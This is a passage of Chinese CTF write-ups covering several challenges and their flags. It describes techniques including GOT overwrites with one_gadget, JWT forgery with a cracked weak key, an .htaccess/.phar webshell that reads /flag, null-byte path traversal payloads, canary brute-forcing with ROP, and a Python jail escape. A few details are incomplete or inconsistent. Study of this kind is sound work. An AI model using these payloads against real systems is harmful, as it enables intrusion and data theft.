0x40a0 - GOT 表附近地址:
__stack_chk_fail@got:0x4020(下标:(0x4020 - 0x40a0)/8 = -16)printf@got:0x4038(下标:(0x4038 - 0x40a0)/8 = -13)
- 利用思路:
- 利用负下标
-16覆盖__stack_chk_fail@got前的内容,利用%s泄露紧随其后的setbuf@got地址,从而计算出 libc 基址。 - 利用负下标
-13覆盖printf@got为one_gadget,劫持程序流。
- 利用负下标
3. 漏洞利用过程
3.1 泄露 Libc 地址
- 操作:输入索引
-16,写入 8 字节非空数据(如AAAAAAAA)。 - 原理:
printf("%s", ...)会一直打印直到遇到\x00。写入的AAAAAAAA后面紧跟的是setbuf@got的内容。因此,打印出的数据包含setbuf的真实地址。 - 计算:通过泄露的
setbuf地址减去其在 libc 中的偏移(0x87fe0),得到 libc 基址。
3.2 劫持 GOT 表获取 Shell
- 挑战:直接使用常见的
one_gadget偏移(如0xebc81等)无法稳定获取 shell,原因是寄存器或栈约束不满足(特别是rbp相关的栈槽约束)。 - 解决方案:
- 构造特定输入:在第二次交互中,输入名字时使用
b'\x00'*0x40填充,以满足one_gadget对栈内容的约束。 - 选择稳定 Gadget:经过测试,偏移
0xebd43在配合上述填充时能稳定触发。
- 构造特定输入:在第二次交互中,输入名字时使用
- 操作:输入索引
-13,覆盖printf@got为libc_base + 0xebd43。
3.3 交互流程
- 输入错误密码进入后门。
- 第一次修复:索引
-16,数据AAAAAAAA,接收并解析泄露的 libc 地址。 - 输入填充名字(满足栈约束)。
- 第二次修复:索引
-13,数据为one_gadget地址。 - 触发
printf,获取 shell 并读取 flag。
4. 最终 Flag
通过上述步骤,成功在远端服务器上执行命令并获取 Flag:
polarisctf{95cf2e10-12bc-4e6a-891c-e1e651ec8fb8}
only_real_revenge
类型:
Web
难度:
简单
1. 题目背景
题目提供了一个登录界面,注释中给出了默认的用户名 xmuser 和密码 123456。登录后发现用户角色为普通用户(role=user),权限受限。题目描述“也许只有一个是真的”暗示了后台可能存在布尔逻辑相关的漏洞或弱口令问题。
2. 信息收集与漏洞分析
2.1 登录与身份认证机制
- 初始登录:使用默认凭证
xmuser/123456登录,服务端返回 JWT Token,其中包含role=user字段。 - JWT 测试:尝试了常见的 JWT 攻击手法,包括:
- 算法混淆:尝试
alg=none以及修改role字段为admin,但服务端校验严格,均未成功。 - 签名爆破:由于无法伪造签名,推测密钥可能较弱,存在被暴力破解的可能性。
- 算法混淆:尝试
2.2 弱密钥爆破
- 离线破解:利用已知的 JWT Header、Payload 和 Signature,编写脚本对密钥进行暴力破解。
- 字典范围:从简单的数字组合(6位纯数字)开始测试。
- 关键发现:脚本运行后迅速命中,密钥为极短的字符串
cdef。
2.3 权限提升
- 伪造 Token:使用爆破出的密钥
cdef,重新生成一个新的 JWT Token,并将role字段修改为admin。 - 验证权限:使用新的 Token 访问后台接口,成功获取管理员权限,页面功能不再受限。
3. 漏洞利用过程
3.1 获取 WebShell / 执行命令
在管理员后台发现存在文件上传功能,但存在严格的文件内容检测,直接上传 PHP 文件被拦截。
- 绕过思路:利用 Apache 的
.htaccess文件解析漏洞。 - 第一步:上传一个名为
.htaccess的文件,内容为:
这使得服务器将AddType application/x-httpd-php .phar php_value auto_append_file none.phar后缀的文件当作 PHP 脚本解析。 - 第二步:上传一个后缀为
.phar的恶意文件,内容为:<?php echo file_get_contents('/flag'); ?>
3.2 读取 Flag
- 触发执行:访问上传的
.phar文件 URL。 - 结果:服务器解析该文件并执行其中的 PHP 代码,直接返回服务器根目录下的 flag 内容。
4. 最终 Flag
xmctf{98a6a95b-cd2a-41af-9a50-cf10969edc49}
mw
类型:
Web / Pwn (容器逃逸/逻辑漏洞)
难度:
困难
1. 题目背景
题目提供了一个名为 pwn-image-mw.tar 的文件。这是一个 Docker/OCI 镜像文件,而非传统的二进制文件。题目描述中提到的“社会青年”和“神秘仪式”是干扰信息或提示环境背景。解题者需要加载该镜像并分析其内部服务,最终从动态环境中提取 Flag。
2. 信息收集与漏洞分析
2.1 镜像还原与环境搭建
- 操作:使用
docker load < pwn-image-mw.tar加载镜像,并运行容器。 - 发现:容器启动脚本
/start.sh动态生成/flag.txt,内容由环境变量注入。 - 服务端口:
1314/tcp - 关键路径:Web 根目录为
/usr/mw/webman,CGI 入口为/webapi/entry.cgi。
2.2 接口与逻辑分析
- 认证机制:
MW.API.Auth.so模块处理登录。分析发现guest用户存在“短路逻辑”,登录虽成功但返回空 Session ID,无法直接利用。 - 关键接口:
MW.API.Network.Ping.so提供 Ping 功能,但受mw_token严格保护。 - Token 机制:
mwtoken.so使用 HMAC-SHA256 等算法签名,本地虽有mw_token_salt,但远程环境无法直接伪造(Salt 不同)。
2.3 核心漏洞 (CVE-2026-XXXXX)
- 漏洞点:
MW.API.Auth.UIConfig接口(method=get_ui_config)。 - 漏洞原理:该接口用于加载语言包文件,参数
language存在路径校验逻辑缺陷。- 服务端在拼接文件路径后,使用 C 语言库函数进行文件读取。
- 攻击者可以在
language参数中传入 JSON 格式的 Unicode 空字符\u0000。 - 利用逻辑:当参数被解析为 C 字符串时,
\u0000会被识别为字符串结束符(Null Byte),从而截断后续的路径校验或路径拼接,导致“路径穿越”限制被绕过。
3. 漏洞利用过程
3.1 绕过路径限制
- Payload 构造:利用 JSON 中的
\u0000截断特性。 - 目标路径:
- 读取 Token Salt:
../../../etc/mw_token_salt\u0000 - 读取 Flag:
../../../../../flag.txt\u0000
- 读取 Token Salt:
- 请求方式:POST 请求
entry.cgi,指定 API 为MW.API.Auth.UIConfig。
3.2 直接获取 Flag
- 由于
UIConfig接口无需认证(或在认证前处理),攻击者可以直接发送构造好的恶意请求。 - 服务端处理请求时:
- 接收 JSON 参数
{"language": "../../../etc/mw_token_salt\u0000"} - 解析 JSON,C 库读取字符串至
\u0000处停止。 - 实际读取文件
../../../etc/mw_token_salt(如果存在)或直接利用路径穿越读取根目录文件。
- 接收 JSON 参数
4. 最终 Flag
利用上述漏洞,直接读取远程服务器上的 /flag.txt 文件。
polarisctf{d65c99d2-629c-46cc-8031-d2901e1b7aeb}
httpd
类型:
Pwn
难度:
中等
1. 题目背景
附件包含一个 httpd 二进制程序。程序模拟了一个简单的 HTTP 服务器,处理特定的路由请求。目标是从远程服务中读取同目录下的 flag 文件。
2. 信息收集与漏洞分析
2.1 保护机制与逆向
- 检查结果:程序为 64 位 ELF,开启了 Canary 和 NX 保护,无 PIE。
- 漏洞点:
POST /config接口在处理route_name参数时存在栈溢出漏洞。 - 利用限制:输入经过 URL 解码,且程序流依赖于特定的 Cookie 认证。
2.2 关键逻辑
- Cookie 验证:必须先通过
GET /getCookie获取有效的 Cookie 才能进行后续交互。 - 溢出偏移:经过调试,
route_name参数的偏移量为0x88(136) 字节覆盖到 Canary,后续可控制 RBP 和 RIP。
3. 漏洞利用过程
3.1 爆破防护 (Oracle)
由于开启了 Canary,利用脚本利用 HTTP 响应状态码作为 Oracle 进行逐字节爆破:
- 爆破 Canary:通过发送特定长度的 Payload,根据服务是否返回
500 Internal Server Error来判断 Canary 字节是否正确(正确则返回 200)。 - 爆破 Saved RBP:在已知 Canary 的基础上,继续爆破恢复 Saved RBP 的值,从而计算出栈帧基址。
3.2 ROP 链构建
利用程序内部的代码片段(Gadgets)实现文件读取,无需泄露 Libc:
- 核心 Gadget:利用地址
0x402bf1处的逻辑(包含fopen/fread调用序列)。 - 伪造结构:在栈上伪造文件操作所需的结构体,将文件名指针指向栈上写入的字符串
flag。 - 控制流:通过
POP_RBP(0x4016bd) 将 RBP 指向伪造结构,随后跳转到0x402bf1执行文件读取。
3.3 交互获取
- 获取 Cookie 并维持会话。
- 执行爆破脚本获取 Canary 和 RBP。
- 发送构造好的 ROP Payload,服务端逻辑读取
flag文件内容并回显在 HTTP 响应中。
4. 最终 Flag
polarisctf{eabcdb0e-2aae-43ef-8c2a-6c017e02ca9e}
秘密交易
类型:
Misc
难度:
中等
1. 题目背景
题目提供了一个以太坊 Sepolia 测试网的合约地址:0x0a803A2cDC4BCef15fC131f2eD788eBA67aD69C9。题目描述暗示资金汇入中存在“秘密交易”,提示解题者需要分析链上数据,而非传统的二进制逆向或 Web 渗透。
2. 信息收集与漏洞分析
2.1 链上数据侦察
- 目标地址:
0x0a803A2cDC4BCef15fC131f2eD788eBA67aD69C9 - 交易分析:通过 Etherscan 查看合约的
Events选项卡,发现大量PaymentSent事件。 - 隐藏线索:在
PaymentSent事件的参数中,发现了message字段。部分字段内容为明文(如I am weljoni),但关键字段包含加密数据:- 密文:
hex_enc:2d8d1617fcf9223f0dd274dd58cf7d0cc5504a8310bdc5dc2572251ed2d069c3 - 密钥线索:
key:do_you_know_S_P_and_xor_????!!!! - 加密参数:
S-level ... 42 ... 256,P-level ... 16 ... 32,least 3.5。
- 密文:
2.2 线索解析
- 加密模式:线索中的
S、P、XOR指向了分组密码中的 SPN 结构(Substitution-Permutation Network,即 S 盒置换和 P 盒扩散)。 - 参数含义:
S=42, 256:可能指 S 盒的大小或特定的 S 盒参数。P=16, 32:可能指 P 盒的置换位宽或轮数。3.5:通常指代加密轮数(3 轮完整加密 + 半轮操作)。
3. 漏洞利用过程
3.1 数据提取
- 提取密文:从链上事件中提取出完整的 Hex 编码密文。
- 提取密钥:整理出完整的密钥字符串
do_you_know_S_P_and_xor_????!!!!。
3.2 算法还原与解密
- 构建解密脚本:根据 SPN 结构原理编写 Python 脚本。
- 参数代入:
- S 盒操作:基于
S=42或模 256 进行字节替换。 - P 盒操作:基于
P=16/32进行位移或置换。 - XOR 操作:使用密钥流与数据进行异或。
- 轮数控制:执行 3 轮完整的
Substitute -> Permute -> XOR,最后进行半轮操作。
- S 盒操作:基于
- 爆破验证:由于参数存在歧义(如 S 盒的具体构造),编写脚本自动尝试常见的 S 盒构造方式,筛选出输出包含
xmctf{...}格式的明文。
4. 最终 Flag
通过上述解密过程,最终还原出明文 Flag:
xmctf{Bl0ckCha1n_Tr4ce_Cha1nR4y}
FunPyVM
类型:
Reverse
难度:
中等
1. 题目背景
题目提供了一个 attachment (6).zip 压缩包,包含 main.exe 和 opcode.bin。这是一个基于 Python 的虚拟机(VM)逆向题目。表面上看,程序似乎读取 opcode.bin 作为字节码执行,但实际运行逻辑中存在“诱饵”机制,真正的校验逻辑隐藏在 PyInstaller 打包的子进程或加密资源中。
2. 信息收集与漏洞分析
2.1 初步分析与陷阱
- 文件结构:
main.exe是 PyInstaller 打包的单文件程序,opcode.bin是外部字节码文件。 - 诱饵逻辑:初步提取
main.exe中的 Python 脚本(main.pyc/kernelVM.pyc)并分析opcode.bin,会发现一套看似完整的 VM 逻辑。然而,修改opcode.bin的内容并不会改变程序的输出(始终输出Input: No),说明外部文件只是一个“存在性检查”的诱饵,或者被内部逻辑覆盖了。 - 关键发现:通过动态调试和进程分析,发现
main.exe启动后会派生一个子进程(Child Process),真正的 Python 解释器(python313.dll)和核心逻辑是在子进程中加载和执行的。
2.2 真实字节码提取
- 进程注入:在子进程运行期间,利用 Frida 或类似的注入工具,Hook Python C API(如
PyRun_SimpleString或直接读取内存中的 Code Object)。 - 内存取证:在内存中发现了实际加载的字节码块,长度为 2390 字节,与外部
opcode.bin的 855 字节完全不同。 - 逻辑还原:将内存中 Dump 出的 2390 字节进行反汇编,还原出真实的 VM 指令集。
2.3 核心算法分析
- 加密机制:真实的 VM 逻辑对用户输入的 27 字节数据进行变换。
- 变换特征:算法呈现“上三角依赖”特征,即第 $i$ 位的输出仅依赖于输入的前 $i$ 位数据。
- 校验方式:程序将变换后的数据与内存中硬编码的目标常量数组进行比对。
3. 漏洞利用过程
3.1 算法逆向与求解
- 约束求解:由于变换逻辑是逐位依赖的($Output_i = f(Input_0, ..., Input_i)$),可以通过回溯法逐位反推。
- 求解过程:
- 从第 0 位开始,尝试所有可能的输入字节,直到变换结果匹配目标常量的第 0 位。
- 固定第 0 位,继续尝试第 1 位,依此类推,直到恢复完整的 27 字节输入。
3.2 验证
- 将反推得到的字符串作为输入传递给
main.exe。 - 程序输出
Input: yes,验证成功。
4. 最终 Flag
通过上述内存取证和算法逆向,获得 Flag:
xmctf{F0n_And_3asyViMGa1v1eF9rY@u}
WhoRU?
类型:
Misc (开源情报/代码溯源)
难度:
中等
1. 题目背景
题目描述提到“截获的脚本经过黑客篡改,但原脚本仍出现在 GitHub 中”。附件中提供了若干个被修改了类名或变量名的代码文件(Java, C++, Solidity等)。解题者需要通过代码中残留的独特逻辑、字符串常量或函数特征,在 GitHub 上定位其原始开源项目。
2. 信息收集与溯源分析
2.1 第一关:Java 后端组件
- 文件分析:查看附件中的 Java 代码(如
附件1.java)。虽然类名被篡改为HackedClass等无意义名称,但代码内部保留了JwtTokenManager相关的逻辑,以及特定的包路径引用或注释风格。 - 特征搜索:在 GitHub 搜索
JwtTokenManager结合 Java 语言筛选,或搜索代码中特有的字符串常量。 - 定位结果:代码逻辑与 Alibaba 的开源项目 Nacos 中的认证模块完全一致。
- 溯源结论:
alibaba_nacos
2.2 第二关:C++ 算法工具
- 文件分析:查看附件中的 C++ 代码。尽管主类名被混淆,但文件中包含了
StreamStateAnalyzer、LookupTables等独特的类名或数据结构定义。 - 特征搜索:使用代码搜索引擎(如 grep.app 或 GitHub 高级搜索)查找
StreamStateAnalyzer。 - 定位结果:这些特征词指向了一个用于破解传统加密 ZIP 文件的工具 Bkcrack。
- 溯源结论:
kimci86_bkcrack
2.3 第三关:区块链投票系统
- 文件分析:查看附件中的智能合约或相关代码。代码中包含非常具体的业务逻辑函数名,例如
createPoliticianParties和castRandomVote。 - 特征搜索:直接搜索这些极具辨识度的函数名。
- 定位结果:搜索结果直接指向一个名为
voting-system-using-block-chain的仓库。 - 溯源结论:
akverma26_voting-system-using-block-chain
3. 漏洞利用过程
3.1 提交验证
- 根据题目要求的格式(通常为
username_repositoryname),将上述三个溯源结果依次提交或在网页端输入。 - 输入 1:
alibaba_nacos - 输入 2:
kimci86_bkcrack - 输入 3:
akverma26_voting-system-using-block-chain
3.2 获取 Flag
- 系统验证三个答案均正确后,返回最终的 Flag。
4. 最终 Flag
xmctf{0f50af6c-411c-40f4-82ae-15352b4529e9}
抄作业
类型:
Misc (Web3 / 区块链逆向)
难度:
简单
1. 题目背景
题目描述中提到“出题人是不是忘记放源码了”,网页端显示 404 页面,但提示中给出了一个 RPC 地址(/rpc)。这是一道典型的 Web3 链上逆向题目,虽然源码缺失,但通过提供的 RPC 接口和私钥,可以直接与链上的智能合约进行交互。
2. 信息收集与漏洞分析
2.1 环境探测
- RPC 接口:题目提供的
/rpc端点实际上是 WebSocket RPC(WSS),用于与私有区块链网络交互。 - 私钥:题目环境通常会提供给用户的私钥(或助记词),用于签署交易。
- 合约地址:通过 RPC 探测或题目提示,获取目标挑战合约的地址。
2.2 逆向合约逻辑
由于没有源码,需要通过 eth_getCode 获取合约字节码并进行反编译分析。
- 函数分析:通过反编译,发现合约包含两个关键函数:
- 查询函数:用于查询
mapping(address => bool)状态,判断用户是否已通过挑战。 - 校验函数:选择器为
0xaab2fcd2,接受三个参数(a,b,c)。
- 查询函数:用于查询
- 核心逻辑:分析字节码逻辑,发现校验条件为
a * b == c。如果条件成立,合约会将msg.sender(即调用者地址)在 mapping 中标记为true。
3. 漏洞利用过程
3.1 构造交易数据
- 目标:满足
a * b == c的条件。 - 参数选择:选择最简单的组合,例如
a=2,b=3,c=6(因为 $2 \times 3 = 6$)。 - Calldata 构造:将函数选择器
0xaab2fcd2与参数0000000000000000000000000000000000000000000000000000000000000002(2),0000000000000000000000000000000000000000000000000000000000000003(3),0000000000000000000000000000000000000000000000000000000000000006(6) 拼接。
3.2 发送交易
- 使用题目提供的私钥,通过 RPC 接口向目标合约发送一笔交易,调用
0xaab2fcd2(2, 3, 6)。 - 结果:交易成功执行,合约将你的账户地址标记为已通过(
mapping[address] = true)。
3.3 获取 Flag
- 交易确认后,向
/api/solve发送 POST 请求。 - 后端服务检测到你的地址状态已变为
true,返回最终 Flag。
4. 最终 Flag
xmctf{b392cf47-04e8-4bec-a805-56a803eeabbf}
Whisper Line
类型:
Crypto
难度:
困难
1. 题目背景
题目提供了一个 Android 应用程序(APK)和一个网络抓包文件(PCAP)。APK 是一个内部聊天工具,PCAP 记录了该工具的通信流量。题目要求分析 APK 的加密逻辑,并解密抓包中隐藏的秘密对话以获取 Flag。
2. 信息收集与漏洞分析
2.1 APK 逆向分析
- Java 层逻辑:使用 Jadx 反编译 APK,发现程序逻辑较为简单。
- 登录协议:
HELLO <name>\n - 消息协议:
MSG <to> <cipher>\n - 数据预处理:发送前会对整行调用
strToHex,因此流量中看到的是十六进制编码的文本。
- 登录协议:
- Native 层逻辑:核心加密算法位于
libu.so中,通过 JNI 导出函数Java_com_example_polarisctf_Z_x调用。- 算法识别:还原 C 代码后,确认为标准 RSA 加密。
- 公式:
c = m^e mod N,其中e = 65537。 - 关键细节:密文在输出前进行了字节序反转(Little-Endian),解密时需还原。
2.2 模数 N 的分析
- 从 Native 库中提取出 2048-bit 的 RSA 模数
N。 - 尝试常规分解方法失败,说明
N具有特殊的构造结构。
2.3 关键线索:用户名提示
- PCAP 分析:查看抓包中的聊天用户名,发现了两个特殊的 ID:
December和Adic。 - 联想推理:
December对应数字 12。Adic对应数学概念 p-adic(p进数)。- 结论:这两个用户名组合暗示了解题方向——12-adic(12进制展开/多项式构造)。
3. 漏洞利用过程
3.1 12-adic 分解
- 原理:将大整数
N视为以 12 为基底的多项式 $F(x)$ 在 $x=12$ 时的取值。
$$N = c_0 + c_1 \cdot 12 + c_2 \cdot 12^2 + \dots + c_k \cdot 12^k$$ - 验证:将
N转换为 12 进制系数数组,发现系数呈现出明显的非随机结构(如重复块、特定模式),证实N是由两个多项式 $A(x)$ 和 $B(x)$ 相乘构造的。 - 分解:在多项式环中分解 $F(x) = A(x)B(x)$,然后代回 $x=12$,得到 RSA 的两个因子:
- $p = A(12)$
- $q = B(12)$
3.2 恢复私钥与解密
- 计算私钥:利用分解出的 $p$ 和 $q$ 计算欧拉函数 $\phi(N)$ 和私钥指数 $d$。
$$d \equiv e^{-1} \pmod{\phi(N)}$$ - 解密流程:
- 从 PCAP 中提取
MSG字段的 Hex 密文。 - 字节序反转:将 Hex 转为字节流后反转(还原为大端序整数)。
- RSA 解密:计算 $m = c^d \pmod N$。
- 将整数 $m$ 转为字符串,得到聊天原文。
- 从 PCAP 中提取
4. 最终 Flag
通过解密聊天记录,获得 Flag:
xmctf{Th3_L0ud3st_Wh1sp3r_1s_1n_th3_PC4P_ju5t_RSA_4nd_4_L1ttl3_R3v3rs3}
这道题是一道典型的 Python Jail (Sandbox Escape) 题目。题目环境限制了输入长度(105字符)和字符集(不能直接出现 __),核心在于绕过断言(Assert)检查,利用 Python 的 Frame 对象机制逃逸沙箱并读取 Flag。
以下是基于你提供的解题过程整理的详细 Writeup:
ez_pyjail
类型:
Misc (Python 沙箱逃逸)
难度:
中等
1. 题目背景
题目提供了一个远程连接地址 nc1.ctfplus.cn:34064。通过下载的附件代码(或远程交互)可知,服务器端运行着一个受限的 Python 环境,其核心逻辑包含一个断言(Assert)检查,用于过滤输入的 Payload。
2. 漏洞分析
2.1 核心逻辑
服务器端代码逻辑如下:
assert ascii(x)[1:-1] != x.replace("__","")[:105], run_jail(x)
- 逻辑漏洞:该断言使用了
!=(不等于)。如果断言失败(即两边相等),则会执行run_jail(x)。因此,我们的目标是构造一个输入,使得ascii(x)[1:-1]等于x.replace("__","")[:105],从而触发 Jail 执行。 - 字符限制:输入不能包含连续的双下划线
__(会被替换为空),且长度限制在 105 字符以内。 - 环境特征:远程环境确认为 Python 3,且无法直接使用
__builtins__(因为不能写__)。
2.2 逃逸思路
由于不能直接使用 __ 访问特殊属性,且 Python 3 中 (lambda:0).func_globals 已失效,我们需要寻找其他途径获取内置命名空间。
- 利用 Frame 对象:在 Python 3 中,可以通过生成器对象(Generator)的
gi_frame属性访问其栈帧(Frame),进而通过f_back访问外层调用栈。 - 利用 Walrus + Dict.update:利用海象运算符(
:=)和字典更新(.update)在闭包中传递变量,从而在生成器内部获取到外层的 Frame 引用。
3. 漏洞利用过程
3.1 构造 Payload 链
我们需要构建一条不超过 105 字符的链路来读取 Flag:
- 获取 Frame:利用
(lambda g: g for g in [0]).__next__().__next__()这类技巧获取生成器,再通过gi_frame获取 Frame。 - 向上追溯:利用
f_back向上追溯栈帧,直到找到包含builtins的 Frame。 - 读取 Flag:利用 Frame 的
f_builtins获取open函数并读取/flag。
3.2 绕过限制
- 避免
__:Payload 中不能直接出现双下划线,因此需要使用字符串拼接或字典键值访问的方式(如['__builtins__'])。 - 利用异常回显:由于环境会打印
eval抛出的异常信息,可以利用KeyError或直接执行代码来触发回显。
3.3 最终 Payload
经过调试,最终构造的 Payload 利用了生成器帧对象的链路,长度控制在 104 字符以内(满足 105 限制),具体执行逻辑为:
- 构造一个包含
g的字典。 - 利用生成器表达式获取当前 Frame。
- 通过
f_back定位到外层 Frame。 - 读取
f_builtins并调用open("/flag").read()。
4. 最终 Flag
xmctf{a47ec4ab-0bba-44df-b16d-9bd3db1dcfd8}
Illusion
类型:
Reverse (Windows)
难度:
中等
1. 题目背景
题目提供了一个名为 test.exe 的 Windows 可执行文件。题目名称 "Illusion"(幻觉)暗示程序表面逻辑与真实逻辑存在差异。程序包含两套校验机制:一套显而易见的 RC4 校验(幻觉/烟雾弹)和一套隐藏的 AES 校验(真实逻辑)。
2. 信息收集与漏洞分析
2.1 静态分析与逻辑识别
- 程序结构:程序首先检查输入是否符合
xmctf{...}格式,并验证总长度为 25 字节(即中间内容长度为 18 字节)。 - 幻觉逻辑 (RC4):
- 程序表面逻辑将提取出的 18 字节中间内容进行 RC4 加密,并与硬编码的目标串
nev_gona_give_up进行比对。 - 异常点:逆向分析发现,若满足此 RC4 校验,反推得到的原始输入字节包含大量不可打印字符,不符合 Flag 的常规格式。因此,判断此为干扰项。
- 程序表面逻辑将提取出的 18 字节中间内容进行 RC4 加密,并与硬编码的目标串
- 真实逻辑 (AES):
- 在代码深处(或通过控制流分析)发现隐藏的 AES-128-ECB 校验逻辑。
- 密钥:
12341234123412341234123441455321(Hex:12 34 ... 41 45 53 21)。 - 密文:程序内存中硬编码的 32 字节比较数据。
3. 漏洞利用过程
3.1 提取加密参数
- 算法:AES-128-ECB
- 密钥 (Key):
12341234123412341234123441455321 - 密文 (Ciphertext):
f2 7b 7e 75 b4 5c 08 fa 19 3c 8a 4a 04 f8 1f 67 1b 05 9c e7 27 40 78 6d 28 f6 a8 b8 06 c6 c5 51
3.2 解密还原
- 使用上述密钥对密文进行 AES-128-ECB 解密。
- 解密结果:
(注:解密结果后包含R3a1_w0rld_M47ters0e填充,去除后即为有效载荷)。
3.3 验证
- 将解密得到的字符串填入 Flag 模板
xmctf{...},总长度为 25 字节,符合程序的前置长度检查。
4. 最终 Flag
xmctf{R3a1_w0rld_M47ters}
浙公网安备 33010602011771号